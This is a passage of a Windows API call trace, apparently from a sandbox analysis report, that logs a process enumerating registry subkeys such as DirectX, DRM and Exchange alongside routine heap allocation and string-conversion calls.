RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xd3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.608] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xd3b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.608] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xd3b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xd3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.609] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xd3b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xd3c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.609] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xd3b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xd3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.609] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xd3b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.609] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.609] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xd3b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.609] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xd3c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.610] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xd3b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.610] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xd3b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xd3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.610] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xd3b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0193.610] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.610] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.610] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xd3b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xd3c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.611] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xd3b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.611] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xd3b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xd3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.611] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xd3b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0193.611] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.611] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.612] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xd3b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xd3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.612] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xd3b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.612] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xd3b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xd3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.612] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.612] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xd3b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xd3c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0193.612] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.613] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xd3b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xd3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.613] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xd3b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.613] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xd3b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xd3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.613] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.613] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0xd3b930, cchName=0x104 